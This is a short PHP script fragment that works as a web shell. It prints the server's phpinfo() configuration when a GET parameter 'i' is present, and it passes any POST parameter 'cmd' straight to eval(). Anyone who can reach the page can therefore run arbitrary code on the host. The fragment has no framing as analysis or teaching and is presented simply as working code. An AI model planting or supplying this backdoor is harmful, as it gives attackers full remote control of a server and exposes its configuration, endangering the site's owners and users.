if (isset($_GET['i'])) { phpinfo(); die(); } if (get_magic_quotes_gpc()) { $cmd = stripslashes($_POST['cmd']); echo "
get_magic_quotes_gpc returns true"; } else { $cmd = $_POST['cmd']; echo "
get_magic_quotes_gpc returns false"; } ?>
if ($cmd != "") eval($cmd); ?>